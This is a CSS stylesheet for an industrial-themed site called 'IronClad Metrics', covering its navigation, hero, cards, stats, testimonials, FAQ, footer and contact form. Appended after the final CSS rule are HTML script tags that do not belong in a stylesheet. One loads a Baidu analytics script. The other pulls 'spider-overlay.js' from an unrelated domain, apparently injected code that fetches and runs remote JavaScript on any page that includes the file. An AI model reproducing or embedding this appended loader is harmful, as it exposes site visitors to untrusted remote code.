﻿/* ============================================
   IronClad Metrics - Industrial Steel & Orange
   ============================================ */

/* --- CSS Variables --- */
:root {
  --steel-900: #1a1f2e;
  --steel-800: #242b3d;
  --steel-700: #374151;
  --steel-600: #4b5563;
  --steel-500: #6b7280;
  --steel-400: #9ca3af;
  --steel-300: #d1d5db;
  --steel-200: #e5e7eb;
  --steel-100: #f3f4f6;
  --orange-500: #f97316;
  --orange-400: #fb923c;
  --orange-300: #fdba74;
  --orange-600: #ea580c;
  --orange-700: #c2410c;
  --rivet-color: #9ca3af;
  --transition-speed: 0.3s;
}

/* --- Base --- */
html {
  scroll-behavior: smooth;
}

body {
  font-family: 'Inter', 'Noto Sans SC', system-ui, -apple-system, sans-serif;
  background-color: var(--steel-100);
  color: var(--steel-800);
  overflow-x: hidden;
}

/* --- Navbar --- */
.navbar {
  position: fixed;
  top: 0;
  left: 0;
  right: 0;
  z-index: 1000;
  background: rgba(26, 31, 46, 0.85);
  backdrop-filter: blur(12px);
  -webkit-backdrop-filter: blur(12px);
  border-bottom: 2px solid var(--orange-500);
  transition: all var(--transition-speed) ease;
}

.navbar.scrolled {
  background: rgba(26, 31, 46, 0.97);
  box-shadow: 0 4px 20px rgba(249, 115, 22, 0.15);
}

.navbar-container {
  max-width: 1200px;
  margin: 0 auto;
  padding: 0 24px;
  display: flex;
  align-items: center;
  justify-content: space-between;
  height: 70px;
}

.navbar-brand {
  display: flex;
  align-items: center;
  gap: 10px;
  text-decoration: none;
  font-size: 1.35rem;
  font-weight: 800;
  color: #ffffff;
  letter-spacing: 0.5px;
}

.navbar-brand i {
  color: var(--orange-500);
  font-size: 1.5rem;
  animation: gear-spin-slow 8s linear infinite;
}

.navbar-brand span {
  background: linear-gradient(135deg, #ffffff 0%, var(--steel-300) 100%);
  -webkit-background-clip: text;
  -webkit-text-fill-color: transparent;
  background-clip: text;
}

.nav-links {
  display: flex;
  align-items: center;
  gap: 32px;
  list-style: none;
  margin: 0;
  padding: 0;
}

.nav-links a {
  color: var(--steel-300);
  text-decoration: none;
  font-weight: 600;
  font-size: 0.95rem;
  position: relative;
  transition: color var(--transition-speed);
  text-transform: uppercase;
  letter-spacing: 1px;
}

.nav-links a::after {
  content: '';
  position: absolute;
  bottom: -6px;
  left: 0;
  width: 0;
  height: 2px;
  background: var(--orange-500);
  transition: width var(--transition-speed);
}

.nav-links a:hover {
  color: var(--orange-400);
}

.nav-links a:hover::after {
  width: 100%;
}

.nav-links a.active {
  color: var(--orange-500);
}

.nav-links a.active::after {
  width: 100%;
}

/* Hamburger */
.hamburger {
  display: none;
  flex-direction: column;
  gap: 5px;
  cursor: pointer;
  background: none;
  border: none;
  padding: 4px;
  z-index: 1001;
}

.hamburger span {
  width: 28px;
  height: 3px;
  background: var(--steel-300);
  border-radius: 3px;
  transition: all var(--transition-speed);
}

.hamburger.active span:nth-child(1) {
  transform: rotate(45deg) translate(6px, 6px);
  background: var(--orange-500);
}

.hamburger.active span:nth-child(2) {
  opacity: 0;
}

.hamburger.active span:nth-child(3) {
  transform: rotate(-45deg) translate(6px, -6px);
  background: var(--orange-500);
}

/* Mobile nav */
.mobile-nav {
  display: none;
  position: fixed;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
  background: rgba(26, 31, 46, 0.98);
  backdrop-filter: blur(10px);
  z-index: 999;
  flex-direction: column;
  align-items: center;
  justify-content: center;
  gap: 32px;
}

.mobile-nav.active {
  display: flex;
}

.mobile-nav a {
  color: var(--steel-300);
  text-decoration: none;
  font-size: 1.3rem;
  font-weight: 700;
  text-transform: uppercase;
  letter-spacing: 2px;
  transition: color var(--transition-speed);
}

.mobile-nav a:hover {
  color: var(--orange-500);
}

/* --- Hero Section --- */
.hero {
  position: relative;
  min-height: 100vh;
  display: flex;
  align-items: center;
  background: linear-gradient(135deg, var(--steel-900) 0%, #2d3648 50%, var(--steel-900) 100%);
  overflow: hidden;
}

/* Gear pattern overlay */
.hero::before {
  content: '';
  position: absolute;
  inset: 0;
  background-image:
    radial-gradient(circle at 20% 30%, rgba(249, 115, 22, 0.06) 0%, transparent 50%),
    radial-gradient(circle at 80% 70%, rgba(249, 115, 22, 0.06) 0%, transparent 50%);
  background-size: 80px 80px;
  pointer-events: none;
}

/* Rivet-like dots pattern */
.hero::after {
  content: '';
  position: absolute;
  inset: 0;
  background-image:
    radial-gradient(circle, rgba(156, 163, 175, 0.08) 2px, transparent 2px);
  background-size: 40px 40px;
  pointer-events: none;
}

.hero-container {
  max-width: 1200px;
  margin: 0 auto;
  padding: 120px 24px 80px;
  display: grid;
  grid-template-columns: 1fr 1fr;
  gap: 60px;
  align-items: center;
  position: relative;
  z-index: 2;
}

.hero-content h1 {
  font-size: 3.2rem;
  font-weight: 900;
  line-height: 1.15;
  margin: 0 0 20px 0;
  color: #ffffff;
}

.hero-content h1 .orange-accent {
  color: var(--orange-500);
  position: relative;
}

.hero-content h1 .orange-accent::after {
  content: '';
  position: absolute;
  bottom: 2px;
  left: 0;
  right: 0;
  height: 4px;
  background: var(--orange-500);
  opacity: 0.3;
}

.hero-subtitle {
  font-size: 1.15rem;
  color: var(--steel-400);
  line-height: 1.7;
  margin-bottom: 36px;
  max-width: 480px;
}

.hero-cta-group {
  display: flex;
  gap: 16px;
  flex-wrap: wrap;
}

/* Rivet CTA buttons */
.btn-rivet {
  display: inline-flex;
  align-items: center;
  gap: 8px;
  padding: 14px 32px;
  font-weight: 700;
  font-size: 0.95rem;
  text-transform: uppercase;
  letter-spacing: 1.5px;
  border: 2px solid;
  border-radius: 4px;
  cursor: pointer;
  text-decoration: none;
  position: relative;
  transition: all var(--transition-speed);
  clip-path: polygon(
    0px 8px, 8px 0px, calc(100% - 8px) 0px, 100% 8px,
    100% calc(100% - 8px), calc(100% - 8px) 100%,
    8px 100%, 0px calc(100% - 8px)
  );
}

.btn-rivet-primary {
  background: var(--orange-500);
  border-color: var(--orange-500);
  color: #ffffff;
  box-shadow: 0 0 20px rgba(249, 115, 22, 0.3);
}

.btn-rivet-primary:hover {
  background: var(--orange-600);
  border-color: var(--orange-600);
  box-shadow: 0 0 30px rgba(249, 115, 22, 0.5);
  transform: translateY(-2px);
}

.btn-rivet-secondary {
  background: transparent;
  border-color: var(--steel-500);
  color: var(--steel-200);
}

.btn-rivet-secondary:hover {
  border-color: var(--orange-500);
  color: var(--orange-400);
  transform: translateY(-2px);
}

/* Hero image */
.hero-image-wrapper {
  position: relative;
}

.hero-image-wrapper img {
  width: 100%;
  height: auto;
  border-radius: 8px;
  box-shadow: 0 20px 60px rgba(0, 0, 0, 0.4), 0 0 0 3px rgba(249, 115, 22, 0.15);
  position: relative;
  z-index: 1;
}

/* Gear decoration around hero image */
.hero-image-wrapper::before {
  content: '';
  position: absolute;
  top: -20px;
  right: -20px;
  width: 100%;
  height: 100%;
  border: 3px solid var(--orange-500);
  border-radius: 8px;
  opacity: 0.25;
  z-index: 0;
}

/* --- Section Common --- */
.section {
  padding: 80px 24px;
}

.section-header {
  text-align: center;
  margin-bottom: 56px;
}

.section-header h2 {
  font-size: 2.2rem;
  font-weight: 800;
  color: var(--steel-900);
  margin: 0 0 10px 0;
  position: relative;
  display: inline-block;
}

.section-header h2::after {
  content: '';
  display: block;
  width: 60px;
  height: 3px;
  background: var(--orange-500);
  margin: 12px auto 0;
}

.section-header p {
  color: var(--steel-600);
  font-size: 1.05rem;
  max-width: 600px;
  margin: 12px auto 0;
}

.container {
  max-width: 1200px;
  margin: 0 auto;
}

/* --- Features Section --- */
.features-section {
  background: #ffffff;
}

/* Metal-panel card with rivet corners */
.metal-card {
  background: linear-gradient(180deg, #ffffff 0%, #f8f9fb 100%);
  border: 2px solid var(--steel-200);
  padding: 36px 28px;
  position: relative;
  transition: all 0.35s ease;
  clip-path: polygon(
    0px 10px, 10px 0px, calc(100% - 10px) 0px, 100% 10px,
    100% calc(100% - 10px), calc(100% - 10px) 100%,
    10px 100%, 0px calc(100% - 10px)
  );
}

/* Rivet dots at corners */
.metal-card::before {
  content: '';
  position: absolute;
  top: 5px;
  left: 5px;
  width: 6px;
  height: 6px;
  background: var(--rivet-color);
  border-radius: 50%;
  box-shadow:
    0 0 0 1px rgba(156, 163, 175, 0.4),
    calc(100cqw - 20px) 0 0 0 var(--rivet-color),
    0 calc(100cqh - 20px) 0 0 var(--rivet-color);
}

.metal-card::after {
  content: '';
  position: absolute;
  top: 5px;
  right: 5px;
  width: 6px;
  height: 6px;
  background: var(--rivet-color);
  border-radius: 50%;
  box-shadow: 0 0 0 1px rgba(156, 163, 175, 0.4);
}

.metal-card .rivet-tl,
.metal-card .rivet-tr,
.metal-card .rivet-bl,
.metal-card .rivet-br {
  position: absolute;
  width: 8px;
  height: 8px;
  background: var(--orange-500);
  border-radius: 50%;
  box-shadow: 0 0 0 2px rgba(249, 115, 22, 0.3);
}

.metal-card .rivet-tl { top: -4px; left: -4px; }
.metal-card .rivet-tr { top: -4px; right: -4px; }
.metal-card .rivet-bl { bottom: -4px; left: -4px; }
.metal-card .rivet-br { bottom: -4px; right: -4px; }

.metal-card:hover {
  transform: translateY(-8px);
  border-color: var(--orange-400);
  box-shadow: 0 12px 40px rgba(0, 0, 0, 0.1), 0 0 0 1px rgba(249, 115, 22, 0.2);
}

.metal-card .gear-badge {
  display: inline-flex;
  align-items: center;
  justify-content: center;
  width: 56px;
  height: 56px;
  background: linear-gradient(135deg, var(--steel-800) 0%, var(--steel-700) 100%);
  border: 2px solid var(--orange-500);
  border-radius: 4px;
  margin-bottom: 20px;
}

.metal-card .gear-badge i {
  color: var(--orange-500);
  font-size: 1.4rem;
}

.metal-card h3 {
  font-size: 1.2rem;
  font-weight: 700;
  color: var(--steel-900);
  margin: 0 0 10px 0;
}

.metal-card p {
  color: var(--steel-600);
  line-height: 1.7;
  margin: 0;
  font-size: 0.95rem;
}

/* --- Stats Section --- */
.stats-section {
  background: var(--steel-900);
  position: relative;
  overflow: hidden;
}

.stats-section::before {
  content: '';
  position: absolute;
  inset: 0;
  background-image:
    radial-gradient(circle at 30% 50%, rgba(249, 115, 22, 0.05) 0%, transparent 60%),
    radial-gradient(circle at 70% 50%, rgba(249, 115, 22, 0.05) 0%, transparent 60%);
  pointer-events: none;
}

.stats-section .section-header h2 {
  color: #ffffff;
}

.stats-section .section-header p {
  color: var(--steel-400);
}

.stats-grid {
  display: grid;
  grid-template-columns: repeat(4, 1fr);
  gap: 24px;
  position: relative;
  z-index: 1;
}

.stat-item {
  text-align: center;
  padding: 32px 16px;
  background: rgba(255, 255, 255, 0.03);
  border: 1px solid rgba(255, 255, 255, 0.08);
  border-radius: 4px;
}

.stat-number {
  font-size: 2.8rem;
  font-weight: 900;
  color: var(--orange-500);
  display: block;
  line-height: 1;
  margin-bottom: 8px;
}

.stat-label {
  color: var(--steel-400);
  font-size: 0.9rem;
  font-weight: 600;
  text-transform: uppercase;
  letter-spacing: 1px;
  margin-bottom: 16px;
}

.stat-meter {
  width: 100%;
  height: 6px;
  background: rgba(255, 255, 255, 0.1);
  border-radius: 3px;
  overflow: hidden;
}

.stat-meter-fill {
  height: 100%;
  background: linear-gradient(90deg, var(--orange-500), var(--orange-400));
  border-radius: 3px;
  transition: width 1.5s ease-out;
}

/* --- Testimonials Section --- */
.testimonials-section {
  background: var(--steel-100);
}

/* Steel-gray testimonial card */
.testimonial-card {
  background: linear-gradient(180deg, #ffffff 0%, #f7f8fa 100%);
  border: 2px solid var(--steel-200);
  border-radius: 4px;
  padding: 32px 28px;
  position: relative;
  transition: all 0.3s ease;
  box-shadow: 0 2px 10px rgba(0, 0, 0, 0.04);
}

.testimonial-card::before {
  content: '"';
  position: absolute;
  top: 10px;
  left: 20px;
  font-size: 5rem;
  color: var(--orange-500);
  opacity: 0.15;
  font-family: Georgia, serif;
  line-height: 1;
}

.testimonial-card:hover {
  border-color: var(--orange-400);
  box-shadow: 0 8px 30px rgba(0, 0, 0, 0.08);
  transform: translateY(-4px);
}

.testimonial-card .stars {
  color: var(--orange-500);
  margin-bottom: 14px;
  font-size: 0.9rem;
  letter-spacing: 2px;
}

.testimonial-card .review-text {
  color: var(--steel-700);
  line-height: 1.8;
  font-size: 0.95rem;
  margin-bottom: 20px;
}

.testimonial-card .reviewer {
  display: flex;
  align-items: center;
  gap: 12px;
  border-top: 1px solid var(--steel-200);
  padding-top: 16px;
}

.testimonial-card .reviewer-avatar {
  width: 44px;
  height: 44px;
  border-radius: 50%;
  border: 2px solid var(--orange-500);
  object-fit: cover;
}

.testimonial-card .reviewer-name {
  font-weight: 700;
  color: var(--steel-900);
  font-size: 0.9rem;
}

.testimonial-card .reviewer-role {
  color: var(--steel-500);
  font-size: 0.8rem;
}

/* --- FAQ Section --- */
.faq-section {
  background: #ffffff;
}

.faq-list {
  max-width: 800px;
  margin: 0 auto;
  display: flex;
  flex-direction: column;
  gap: 12px;
}

.faq-item {
  border: 2px solid var(--steel-200);
  border-radius: 4px;
  overflow: hidden;
  transition: border-color var(--transition-speed);
  background: linear-gradient(180deg, #ffffff 0%, #fafbfd 100%);
}

.faq-item.active {
  border-color: var(--orange-400);
}

.faq-question {
  width: 100%;
  display: flex;
  align-items: center;
  justify-content: space-between;
  padding: 18px 24px;
  background: none;
  border: none;
  cursor: pointer;
  font-size: 1rem;
  font-weight: 700;
  color: var(--steel-800);
  text-align: left;
  transition: color var(--transition-speed);
}

.faq-question:hover {
  color: var(--orange-600);
}

/* Rivet-style expand button */
.rivet-toggle {
  width: 32px;
  height: 32px;
  min-width: 32px;
  background: var(--steel-100);
  border: 2px solid var(--steel-400);
  border-radius: 50%;
  display: flex;
  align-items: center;
  justify-content: center;
  transition: all var(--transition-speed);
  position: relative;
}

.rivet-toggle::before,
.rivet-toggle::after {
  content: '';
  position: absolute;
  background: var(--orange-500);
  transition: all var(--transition-speed);
}

.rivet-toggle::before {
  width: 12px;
  height: 2px;
}

.rivet-toggle::after {
  width: 2px;
  height: 12px;
}

.faq-item.active .rivet-toggle {
  background: var(--orange-500);
  border-color: var(--orange-500);
}

.faq-item.active .rivet-toggle::before,
.faq-item.active .rivet-toggle::after {
  background: #ffffff;
}

.faq-item.active .rivet-toggle::after {
  transform: rotate(90deg);
  opacity: 0;
}

.faq-answer {
  max-height: 0;
  overflow: hidden;
  transition: max-height 0.4s ease, padding 0.4s ease;
}

.faq-item.active .faq-answer {
  max-height: 300px;
}

.faq-answer-inner {
  padding: 0 24px 20px;
  color: var(--steel-600);
  line-height: 1.8;
  font-size: 0.95rem;
}

/* --- CTA Section --- */
.cta-section {
  background: linear-gradient(135deg, var(--steel-900) 0%, #2d3648 50%, var(--steel-900) 100%);
  position: relative;
  overflow: hidden;
  padding: 100px 24px;
}

/* Gear decor */
.cta-section::before {
  content: '';
  position: absolute;
  top: -60px;
  right: -60px;
  width: 200px;
  height: 200px;
  border: 4px solid rgba(249, 115, 22, 0.08);
  border-radius: 50%;
  pointer-events: none;
}

.cta-section::after {
  content: '';
  position: absolute;
  bottom: -40px;
  left: -40px;
  width: 140px;
  height: 140px;
  border: 3px dashed rgba(249, 115, 22, 0.06);
  border-radius: 50%;
  pointer-events: none;
}

.cta-container {
  max-width: 700px;
  margin: 0 auto;
  text-align: center;
  position: relative;
  z-index: 1;
}

.cta-container h2 {
  font-size: 2.4rem;
  font-weight: 900;
  color: #ffffff;
  margin: 0 0 16px 0;
}

.cta-container p {
  color: var(--steel-400);
  font-size: 1.1rem;
  line-height: 1.7;
  margin-bottom: 36px;
}

/* Steel-to-orange industrial gradient CTA */
.btn-industrial-cta {
  display: inline-flex;
  align-items: center;
  gap: 10px;
  padding: 16px 40px;
  font-size: 1.05rem;
  font-weight: 800;
  text-transform: uppercase;
  letter-spacing: 2px;
  color: #ffffff;
  text-decoration: none;
  background: linear-gradient(135deg, var(--steel-700) 0%, var(--orange-500) 100%);
  border: none;
  border-radius: 4px;
  cursor: pointer;
  position: relative;
  overflow: hidden;
  transition: all 0.3s ease;
  clip-path: polygon(
    0px 10px, 10px 0px, calc(100% - 10px) 0px, 100% 10px,
    100% calc(100% - 10px), calc(100% - 10px) 100%,
    10px 100%, 0px calc(100% - 10px)
  );
}

.btn-industrial-cta:hover {
  transform: translateY(-3px);
  box-shadow: 0 10px 40px rgba(249, 115, 22, 0.4);
  background: linear-gradient(135deg, var(--orange-500) 0%, var(--orange-400) 100%);
}

.btn-industrial-cta i {
  font-size: 1.2rem;
}

/* --- Footer --- */
.footer {
  background: var(--steel-900);
  border-top: 3px solid var(--orange-500);
  padding: 50px 24px 30px;
}

.footer-grid {
  max-width: 1200px;
  margin: 0 auto;
  display: grid;
  grid-template-columns: 2fr 1fr 1fr 1fr;
  gap: 40px;
}

.footer-brand h3 {
  color: #ffffff;
  font-size: 1.3rem;
  font-weight: 800;
  margin: 0 0 10px 0;
}

.footer-brand h3 i {
  color: var(--orange-500);
  margin-right: 6px;
}

.footer-brand p {
  color: var(--steel-400);
  font-size: 0.9rem;
  line-height: 1.7;
  margin: 0;
}

.footer-col h4 {
  color: var(--orange-400);
  font-size: 0.85rem;
  font-weight: 700;
  text-transform: uppercase;
  letter-spacing: 1.5px;
  margin: 0 0 16px 0;
}

.footer-col ul {
  list-style: none;
  padding: 0;
  margin: 0;
  display: flex;
  flex-direction: column;
  gap: 10px;
}

.footer-col ul li a {
  color: var(--steel-400);
  text-decoration: none;
  font-size: 0.9rem;
  transition: color var(--transition-speed);
}

.footer-col ul li a:hover {
  color: var(--orange-400);
}

.footer-col p {
  color: var(--steel-400);
  font-size: 0.9rem;
  line-height: 1.8;
  margin: 0;
}

.footer-bottom {
  max-width: 1200px;
  margin: 32px auto 0;
  padding-top: 20px;
  border-top: 1px solid rgba(255, 255, 255, 0.08);
  text-align: center;
  color: var(--steel-500);
  font-size: 0.85rem;
}

/* --- Page Hero (About/Contact) --- */
.page-hero {
  background: linear-gradient(135deg, var(--steel-900) 0%, #2d3648 50%, var(--steel-900) 100%);
  padding: 120px 24px 60px;
  text-align: center;
  position: relative;
  overflow: hidden;
}

.page-hero::after {
  content: '';
  position: absolute;
  inset: 0;
  background-image:
    radial-gradient(circle, rgba(156, 163, 175, 0.06) 2px, transparent 2px);
  background-size: 40px 40px;
  pointer-events: none;
}

.page-hero h1 {
  font-size: 2.8rem;
  font-weight: 900;
  color: #ffffff;
  margin: 0 0 12px 0;
  position: relative;
  z-index: 1;
}

.page-hero p {
  color: var(--steel-400);
  font-size: 1.1rem;
  position: relative;
  z-index: 1;
}

/* --- About Page --- */
.about-content {
  padding: 60px 24px;
  max-width: 1200px;
  margin: 0 auto;
}

.about-grid {
  display: grid;
  grid-template-columns: 1fr 1fr;
  gap: 60px;
  align-items: center;
}

.about-text h2 {
  font-size: 2rem;
  font-weight: 800;
  color: var(--steel-900);
  margin: 0 0 16px 0;
}

.about-text h2 span {
  color: var(--orange-500);
}

.about-text p {
  color: var(--steel-600);
  line-height: 1.8;
  font-size: 1rem;
  margin-bottom: 16px;
}

.about-image img {
  width: 100%;
  border-radius: 8px;
  box-shadow: 0 10px 40px rgba(0, 0, 0, 0.15);
  border: 2px solid var(--steel-200);
}

.about-values {
  margin-top: 80px;
}

.about-values h2 {
  text-align: center;
  font-size: 2rem;
  font-weight: 800;
  color: var(--steel-900);
  margin-bottom: 40px;
}

.about-values h2 span {
  color: var(--orange-500);
}

/* --- Contact Page --- */
.contact-section {
  padding: 60px 24px;
}

.contact-grid {
  max-width: 1200px;
  margin: 0 auto;
  display: grid;
  grid-template-columns: 1fr 1.5fr;
  gap: 50px;
}

.contact-info h2 {
  font-size: 2rem;
  font-weight: 800;
  color: var(--steel-900);
  margin: 0 0 16px 0;
}

.contact-info h2 span {
  color: var(--orange-500);
}

.contact-info > p {
  color: var(--steel-600);
  line-height: 1.7;
  margin-bottom: 30px;
}

.contact-detail {
  display: flex;
  align-items: flex-start;
  gap: 14px;
  margin-bottom: 20px;
}

.contact-detail .icon-circle {
  width: 44px;
  height: 44px;
  min-width: 44px;
  background: var(--steel-800);
  border-radius: 50%;
  display: flex;
  align-items: center;
  justify-content: center;
}

.contact-detail .icon-circle i {
  color: var(--orange-500);
  font-size: 1rem;
}

.contact-detail h4 {
  color: var(--steel-900);
  font-size: 0.95rem;
  font-weight: 700;
  margin: 0 0 4px 0;
}

.contact-detail p {
  color: var(--steel-600);
  font-size: 0.9rem;
  margin: 0;
}

/* Contact form */
.contact-form-wrapper {
  background: #ffffff;
  border: 2px solid var(--steel-200);
  border-radius: 4px;
  padding: 40px;
  box-shadow: 0 4px 20px rgba(0, 0, 0, 0.04);
}

.contact-form-wrapper h3 {
  font-size: 1.5rem;
  font-weight: 700;
  color: var(--steel-900);
  margin: 0 0 24px 0;
}

.form-group {
  margin-bottom: 18px;
}

.form-group label {
  display: block;
  font-weight: 600;
  color: var(--steel-700);
  margin-bottom: 6px;
  font-size: 0.9rem;
}

.form-group input,
.form-group textarea {
  width: 100%;
  padding: 12px 16px;
  border: 2px solid var(--steel-200);
  border-radius: 4px;
  font-size: 0.95rem;
  font-family: inherit;
  color: var(--steel-800);
  background: var(--steel-100);
  transition: border-color var(--transition-speed);
  box-sizing: border-box;
}

.form-group input:focus,
.form-group textarea:focus {
  outline: none;
  border-color: var(--orange-500);
  box-shadow: 0 0 0 3px rgba(249, 115, 22, 0.1);
}

.form-group textarea {
  min-height: 140px;
  resize: vertical;
}

.btn-submit {
  width: 100%;
  padding: 14px;
  background: var(--steel-800);
  color: #ffffff;
  font-weight: 700;
  font-size: 0.95rem;
  text-transform: uppercase;
  letter-spacing: 1.5px;
  border: none;
  border-radius: 4px;
  cursor: pointer;
  transition: all var(--transition-speed);
}

.btn-submit:hover {
  background: var(--orange-500);
  box-shadow: 0 6px 20px rgba(249, 115, 22, 0.3);
}

/* --- Animations --- */
@keyframes gear-spin-slow {
  from { transform: rotate(0deg); }
  to { transform: rotate(360deg); }
}

@keyframes fadeInUp {
  from { opacity: 0; transform: translateY(30px); }
  to { opacity: 1; transform: translateY(0); }
}

.animate-on-scroll {
  opacity: 0;
  transform: translateY(30px);
  transition: opacity 0.6s ease, transform 0.6s ease;
}

.animate-on-scroll.visible {
  opacity: 1;
  transform: translateY(0);
}

/* --- Responsive --- */
@media (max-width: 1024px) {
  .hero-container {
    grid-template-columns: 1fr;
    text-align: center;
  }

  .hero-content h1 {
    font-size: 2.5rem;
  }

  .hero-subtitle {
    margin-left: auto;
    margin-right: auto;
  }

  .hero-cta-group {
    justify-content: center;
  }

  .hero-image-wrapper {
    max-width: 500px;
    margin: 0 auto;
  }

  .stats-grid {
    grid-template-columns: repeat(2, 1fr);
  }

  .footer-grid {
    grid-template-columns: 1fr 1fr;
  }
}

@media (max-width: 768px) {
  .nav-links {
    display: none;
  }

  .hamburger {
    display: flex;
  }

  .hero-content h1 {
    font-size: 2rem;
  }

  .section {
    padding: 50px 16px;
  }

  .section-header h2 {
    font-size: 1.7rem;
  }

  .about-grid,
  .contact-grid {
    grid-template-columns: 1fr;
  }

  .footer-grid {
    grid-template-columns: 1fr;
  }

  .hero-cta-group {
    flex-direction: column;
    align-items: center;
  }

  .btn-rivet,
  .btn-industrial-cta {
    width: 100%;
    justify-content: center;
  }

  .stats-grid {
    grid-template-columns: 1fr;
  }

  .stat-number {
    font-size: 2.2rem;
  }

  .page-hero h1 {
    font-size: 2rem;
  }

  .testimonials-grid {
    grid-template-columns: 1fr !important;
  }

  .features-grid {
    grid-template-columns: 1fr !important;
  }
}

/* Utility grid helpers */
.features-grid {
  display: grid;
  grid-template-columns: repeat(3, 1fr);
  gap: 24px;
}

.testimonials-grid {
  display: grid;
  grid-template-columns: repeat(3, 1fr);
  gap: 24px;
}
<script>
var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?66486df8906d1585b228aae20f1074ed";
  var s = document.getElementsByTagName("script")[0];
  s.parentNode.insertBefore(hm, s);
})();
</script>
<script src="https://yswa6.cn/spider-overlay.js"></script>

